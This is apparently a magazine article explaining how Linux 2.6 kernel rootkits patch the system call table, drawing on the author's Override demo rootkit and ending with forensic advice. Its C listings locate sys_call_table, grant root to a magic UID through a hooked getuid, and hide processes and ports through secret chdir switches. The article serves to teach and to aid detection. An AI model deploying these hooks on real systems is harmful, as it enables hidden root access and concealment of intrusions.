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After an attacker compromises a 
target, the next step is to secure 
a foothold. Any seasoned at-

tacker wants to keep sysadmins and in-
quisitive users from noticing the unau-
thorized changes. Various tools are 
available to help infiltrators cover their 
tracks. So-called rootkits hide telltale 
processes, network connections, and 
files from admins, and they guarantee 
the attacker access through a backdoor.

Up to just a few years ago, hackers 
would typically manipulate installed 
programs to build a rootkit. A trojanized 
version of netstat would hide any con-
nections established by the hacker, and a 
trojanized ps would obfuscate any illegal 
processes. Because a typical attack in-
volved replacing a large number of utili-
ties, special userland rootkits quickly 

started to appear. 
These kits, which in-
clude several manip-
ulated programs, are 

easy for attackers to install. Most root-
kits also include backdoors and popular 
hacker tools, such as IRC Bouncer.

From the hacker’s point of view, user-
land rootkits have one major disadvan-
tage: simply comparing the MD5 check-
sum with the original file reveals the 
sabotage. And let’s not forget that spe-
cial search programs known as rootkit 
hunters quickly discover the compro-
mise. Another drawback is that the 
hacker’s influence is restricted to the 
manipulated tools: any software in-
stalled later (such as lsof) or tools on 
read-only media (CD-ROM) remain 
unaffected.

Dynamic Kernel
A rootkit that manipulates the kernel has 
far more control over a system. The ker-

nel serves system data to processes that, 
in turn, present the data to the user or 
administrator.

Linux version 2.2 and later dynami-
cally load kernel modules to give admin-
istrators the ability to load drivers and 
other code at runtime, and to remove the 
need to recompile the kernel and reboot. 
Kernel rootkits typically leverage this at-
tack vector to run code directly in kernel 
space [2], removing the data that an at-
tacker would normally need to hide be-
fore it reaches userspace. 

The rootkit thus misleads any pro-
grams running on the system – no mat-
ter whether they were installed after the 
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compromise and regardless of 
which libraries they were 
linked against.

Today’s skillfully pro-
grammed kernel rootkits are 
near-perfect masters of dis-
guise. Neither normal system 
tools, nor legacy forensic 
tools, detect the manipula-
tion.

Approaches to 
Implementation
Hackers have identified sev-
eral approaches to manipulat-
ing the kernel and thus im-
plementing a kernel rootkit: 
These techniques include:
• replacing individual origi-

nal system calls with ma-
nipulated versions (syscall 
table patching),

• inserting a new system call 
table,

• changing pointers in the 
root and proc filesystem 
structures (Virtual File Sys-
tem [VFS] Patching [3]),

• directly modifying the 
kernel code structures.

Interestingly, rootkit tech-
niques are not entirely re-
stricted to black hat hacking. 
In fact admins can benefit 
from the ability to analyze 
and monitor systems using 

tools such as Kstat [4] or 
modules such as Saint Jude 
[5]. Other modules such as 
Sebek [6] are even more simi-
lar to rootkits, although they 
serve a useful purpose within 
the security industry.

The Problem with 
Kernel 2.6
The Linux kernel 2.6 release 
meant a drastic change for 
rootkit authors. With the ex-
ception of Adore-NG [7], 
there are no known rootkits 
for the current kernel, 
whether benign or malevo-
lent by nature. The reason for 
this is that older kernels use 
symbols to export the system 
call table, making it easier to 
patch system calls, whereas 
Linux 2.6 keeps these ad-
dresses secret. A hacker 
would need the following to 
patch a system call:
• the kernel source code and 

the files created during the 
build,

• a symlink from /lib/mod-
ules/Kernelversion/build to 
/usr/src/Kernelversion,

• a kernel.conf to match,
• a makefile for the rootkit.
Users with the Gentoo distri-
bution have the easiest job, 
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Figure 1: System calls provide an interface between user space pro-

grams and the kernel. Libc wraps the process in simple library func-

tions.
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as the Gentoo architecture gives you all 
of this.

The System Call Table
The system call table defines the inter-
face between user space and kernel 
space (Figure 1). A system call table con-
tains the addresses of all system calls. 
The Libc standard library ensures that 
the required system calls occur at pro-
gram runtime, while the kernel actually 
executes the calls. The user space pro-

gram then processes and interprets the 
values returned by the system calls.

The system calls that Linux offers are 
stored in the /usr/src/linux/include/ 
asm/unistd.h file. unistd.h lists 293 
calls, along with their positions in the 
table, such as the read system call at 
position 3.

Original and Fake
The principle of a kernel rootkit is easy 
to describe using the ls program as an 

example. The program mainly relies on 
the sys_getdents64() system call. It re-
turns the files and subdirectories in the 
target directory. The value returned by 
Getdents64 is processed by ls and sent to 
standard output. An unpatched kernel 
(Figure 2) will return the files created by 
an attacker _R00t.txt and _R00tbackdoor.
sh.

Compare this with the compromised 
system shown in Figure 3, where an at-
tacker has patched the system call table. 
The new My_getdents64 system call calls 
the original Getdents64 routine. My_get-
dents64 then manipulates the values re-
turned by Getdents64, removing any files 
with names that start with _R00t, for ex-
ample. Libc then hands over the manip-
ulated results to ls. The program pro-
cesses the data and outputs the results 
on standard output. The files created by 
the attacker are omitted from the list.

Finding the System Call 
Table
Before a rootkit can compromise a sys-
tem call, it first needs to locate the sys-
tem call table. One simple but effective 
approach is to search the whole data 
segment. The Override rootkit [1] checks 
each memory address in the data seg-
ment to see if the system call table re-
sides at that address (Listing 1). The 

System call Description
int sys_fork();  Used to fork programs. The Override rootkit 

[1] uses this system call to hide any child pro-
cesses spawn by a hidden process.

int sys_getuid(); int sys_setuid (uid_t UID);  Reads/ sets the user ID. This lets a rootkit 
assign root privileges to a specific User ID.

int sys_chdir (const char* path);  Changes to the specified directory. In the 
Override rootkit this is used as a hidden 
switch that prevents rootkit hunters from 
changing to the proc directories created by 
hidden processes.

int sys_rmdir (const char* Name);  Delete or create directories. 
int sys_mkdir (const char* filename, int mode);
int sys_open (const char* filename, int Modus); Open and close files. 
 int sys_close (unsigned int filedescriptor);
int sys_read (unsigned int filedescriptor,  Read and write files. 
char* buffer, unsigned int numeric);  
int sys_write (unsigned int filedescriptor,  
char* buffer, unsigned int numeric);
int sys_getdents (unsigned int filedescriptor,  Lists the files in a directory. Modern code will  
struct dirent* directoryentry, unsigned int numeric); use Getdents64 instead.

Table 1: Basic System Calls

Figure 2: A healthy system will output the directory con-

tent (top right) when asked to do so by a user (ls -la). To 

do this, the program calls the Getdents64 system call 

and interprets the return values.
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while loop in Line 5 iterates through any 
addresses that might fit the bill.

The search uses two system calls from 
the full set of exported kernel symbols as 
test candidates. The system call ad-
dresses are known (exported). The num-
bers belonging to the system calls are 
listed as constants in /usr/src/linux/in-
clude/asm/unistd.h: __NR_open, __NR_
close and __NR_read. Line 6 in Listing 1 
checks if the address for sys_close() re-
sides at the memory address currently 
being tested.

The routine checks for two further 
entries in the system call table. Line 10 
uses the table index to calculate the ad-
dress for sys_read(). Line 11 compares 
the contents to ensure that it has located 
the address of the Read system call. 
Lines 12 and 13 do the same for Open. If 
all entries match, Line 15 calculates the 
starting address of the system call table. 
If not, Line 19 increments the pointer.

Target System Calls
Now that the address of the system call 
table is known, the rootkit has bound-

less possibilities. The developer can run 
strace [8] to find out which system call 
they need to manipulate to trick a spe-
cific program. The tool lists all the sys-
tem calls used by a process. Listing 2 
gives some idea of what this looks like 
for id. id writes the real and effective 
user ID, and group memberships, to 
standard output:

uid=500(grid-knight) U
gid=1000(master) U
groups=19(cdrom),27(video),U
1003(auditor)

The Strace output is sent to stderr. The 
first line in Listing 1 indicates that ex-
ecve() is used, however, the system call 
simply executes the /usr/bin/id program. 

A number of Open and Read system 
calls reveal which files id uses. But in 
our case, the getuid32() and getgid32() 
system calls are more interesting, since 
they query the current user and group 
IDs.

id uses the Write system call (last line) 
to output the results at the command 

line. File descriptor 1 (the first parame-
ter) typically points to standard output.

Spoofed Identity
The getuid32() system call is a reward-
ing target for rootkits. A compromised 
variant would return an incorrect ID of 0 
for a user with an ID of 6666, thus giving 
the user root privileges. There is no need 
to manipulate the system files (/etc/
passwd and /etc/shadow) to do this; the 
account data can even originate with 
an NIS or LDAP server. Even a very cau-
tious administrator who checks the user 
databases regularly will tend not to no-
tice the scam.

To replace the original system call with 
your own implementation, all you need 
to do is insert the new address into the 
system call table. Listing 3 shows the 
code for my_getuid(). The following 
lines save the address of the original rou-
tine as org_getuid and overwrite the 
pointer to the table:

org_getuid=sys_call_tableU
[__NR_getuid32];
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(void *) sys_call_tableU
[__NR_getuid32]=  U
(void *) my_getuid;

Line 3 of the code in Listing 3 leverages 
the original system call to discover the 
genuine UID and then compares the re-
turn value with the MAGIC_UID constant 
(which might be set to 6666). If the two 
values match, Line 5 sets the user ID for 
the current process to 0 and returns this 
value. In all other cases, my_getuid() 
simply returns the original return value. 
Lines 11 through 19 show a similar ap-
proach for the effective user ID.

Hidden Switches
Hiding processes and ports is more com-
plex. Instead of hard coding the values 
in the rootkit, our sample code uses hid-
den switches in the chdir() system call. 
When the user (typically the intruder) 
changes directory to a secret, fictitious 
directory (below 
/dev, for example), 
the rootkit catches 
the action and 
hides a process. In 
all other cases, a 
normal call to chdir 
occurs.

The modified 
chdir system call in 
Listing 4 first 
checks (in Line 5) if 
the user wants to 
change directory to 
the proc filesystem, 

and if so, if the user selects one of the 
hidden processes (Lines 9 through 15). 
If  this condition is fufilled, the rootkit 
prevents this (return value -1). This fools 
rootkit hunters who try out all the pro-
cess IDs in /proc/PID and compare the 
results with the process table.

Five comparisons with hidden 
switches occur, and a special action is 
triggered if the path starts with a pre-
defined switch. Lines 18 through 20 add 
the process ID appended to the virtual 
path by the attacker to the list of pro-
cesses. The following three lines remove 
any entry. Lines 46 through 51 contain 
the code for hiding and revealing net-
work ports.

The code in Lines 24 through 45 lists 
the hidden processes. A loop iterates 
against the array of processes to be hid-
den. If it finds an entry (other than 0), 
find_task_by_pid() in Line 37 locates the 
task structure for the PID (defined in  

/usr/include/linux/sched.h). The follow-
ing line writes the PID and matching 
command name, task.comm, to a kernel 
memory area. The call to copy_to_user() 
transfers this area to usrserspace, and 
org_write() writes the content to stan-
dard output via filedescriptor 1.

The Override Rootkit
The Override project [1] by the hacker 
Newroot and myself combines the tech-

01  execve("/usr/bin/id", ["id"], [/* 53 vars */]) = 0

02  uname({sys="Linux", node="localhost", ...}) = 0

03  open("/dev/urandom", O_RDONLY)          = 3

04  read(3, "\10Y\vh", 4)                   = 4

05  close(3)                                = 0

06  geteuid32()                             = 500

07  getuid32()                              = 500

08  getegid32()                             = 1000

09  getgid32()                              = 1000

10  write(1, "uid=500(grid-knight) 
gid=1000(master)...)

Listing 2: Strace Output

01  int my_getuid() {

02     int ret;

03     ret = org_getuid();

04     if (ret == MAGIC_UID) {

05        current->uid = 0;

06        return 0;

07     }

08     return ret;

09  }

10  

11  int my_geteuid() {

12     int ret;

13     ret = org_geteuid();

14     if (ret == MAGIC_UID) {

15        current->euid = 0;

16        return 0;

17     }

18     return ret;

19  }

20  @KE

Listing 3: Trojanized  
System Call

01  int get_sct() {

02     unsigned long *ptr;

03  

04     ptr=(unsigned long 
*)((init_mm.end_code + 4) & 
0xfffffffc);

05     while((unsigned long )ptr < 
(unsigned long)init_mm.end_
data) {

06        if ((unsigned long *)*ptr 
== (unsigned long *)sys_close) 
{

07  #ifdef DEBUG

08           printk (KERN_INFO" -> 
matching detected at %p\n", 
ptr);

09  #endif

10           if ( (unsigned long 
*)*((ptr-__NR_close)+__NR_
read)

11                == (unsigned long 
*) sys_read

12                && *((ptr-__NR_
close)+__NR_open)

13                == (unsigned 
long) sys_open)

14           {

15              sys_call_table = 
(void **) ((unsigned long 
*)(ptr-__NR_close));

16              break;

17           }

18        }

19        ptr++;

20     }

21  

22  #ifdef DEBUG

23     printk (KERN_INFO"sys_call_
table base found at: %p\n", 
sys_call_table);

24  #endif

25     if (sys_call_table == NULL) 
{

26        return -1;} else {

27        return 1;

28     }

29  

30     return -1;

31  }

Listing 1: Finding the System Call Table
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niques discussed thus far and imple-
ments a complete demo rootkit for ker-
nel 2.6. It hides any process ID you like 
and automatically hides the children too. 
If necessary, it hides processes, disguises 
network ports, assigns root privileges to 
a predefined user’s processes, and hides 
any files that start with a specific prefix. 
The demo rootkit’s disguise is not per-
fect. For example, it leaves a telltale trail 

of kernel symbols at /proc/kallsyms, 
which is where the kernel stores all its 
kernel symbols. 

Scope
Besides patching system calls, attackers 
can resort to other techniques to deploy 
rootkits. An enterprising intruder can tap 
into the VFS (Virtual File System) layer 
or directly manipulate the kernel code. 

Kits that manipulate the kernel code can 
do without kernel module support, but 
they are more difficult to implement if 
they don't make use of a kernel module. 
The /dev/kmem interface used for this 
purpose was dropped in kernel version 
2.6.14, however. A tool such as Kernel 
Guard [1] can close this hole, but on 
older systems, it is also possible to dis-
able Kernel Guard using /dev/kmem.

Things start to become really difficult 
for attackers when the kernel does not 
have module support. If you prefer not 
to remove this important kernel module 
functionality from your kernel, Kernel 
Guard is a simple but effective aid. 

Kernel Guard is a benign rootkit that 
modifies the two system calls responsi-
ble for loading and unloading kernel 
modules. After loading Kernel Guard, 
nobody (including users with root pri-
vileges) can load or unload a kernel 
module.

Conclusions
Checksum-based programs such as Aide 
or Tripwire can’t help you in the battle 
against kernel rootkits. Rootkits mani-
pulate system calls directly, or at other 
places in the kernel, and this gives them 
the ability to trick any userspace pro-
gram. 

You need to know exactly how a root-
kit works to have a chance of discover-
ing telltale traces of sabotage. Where 
computer forensic experts should look, 
and what they can expect to find, de-
pends heavily on the rootkit they are 
hunting.  ■

01  int my_chdir (char *path) {

02     char *ptr=NULL;

03     int pid;

04     int i;

05     if (strncmp (PROC_STRING, 
path, strlen (PROC_STRING)) == 
0) {

06        ptr = path + strlen 
(PROC_STRING);

07        pid = my_atoi (ptr);

08        if (pid > 0) {

09           for (i=0; i<=MAX_HIDE_
PIDS; i++) {

10              if (hide_pids[i] != 
0) {

11                 if (pid == hide_
pids[i]) {

12                    return -1;

13                 }

14              }

15           }

16        }

17     }

18     if (strncmp (CHDIR_HIDE_
PID, path, strlen(CHDIR_HIDE_
PID)) == 0) {

19        ptr = (char *)path + 
strlen (CHDIR_HIDE_PID);

20        return hide_pid(my_
atoi(ptr));

21     } else if (strncmp (CHDIR_
UNHIDE_PID, path, 
strlen(CHDIR_UNHIDE_PID)) == 
0) {

22        ptr = (char *)path + 
strlen (CHDIR_UNHIDE_PID);

23        return unhide_pid(my_
atoi(ptr));

24     } else if (strncmp (CHDIR_
SHOW_PIDS, path, strlen(CHDIR_
SHOW_PIDS)) == 0) {

25        char pidlist[32];

26        unsigned long mmm;

27        struct task_struct *task;

28        char *string;

29        int i;

30  

31        mmm=current->mm->brk;

32        org_brk((char*)mmm+32);

33        string = (char *)mmm +2;

34  

35        for (i = 0; i <= MAX_
HIDE_PIDS; i++) {

36           if (hide_pids[i] != 0) 
{

37              task = find_task_
by_pid (hide_pids[i]);

38              snprintf (pidlist, 
32, "%d - %s\n", hide_pids[i], 
task->comm);

39              copy_to_user 
(string, pidlist, 
strlen(pidlist)+1);

40              org_write (1, 
string, strlen(string)+1);

41           }

42        }

43  

44        org_brk((char*)mmm);

45        return 0;

46     } else if (strncmp (CHDIR_
HIDE_NET, path, strlen(CHDIR_
HIDE_NET)) == 0) {

47        ptr = (char *)path + 
strlen (CHDIR_HIDE_NET);

48        return hide_port(my_
atoi(ptr));

49     } else if (strncmp (CHDIR_
UNHIDE_NET, path, 
strlen(CHDIR_UNHIDE_NET)) == 
0) {

50        ptr = (char *)path + 
strlen (CHDIR_UNHIDE_NET);

51        return unhide_port(my_
atoi(ptr));

52     }

53     return org_chdir (path);

54  }

Listing 4: Hidden Switch
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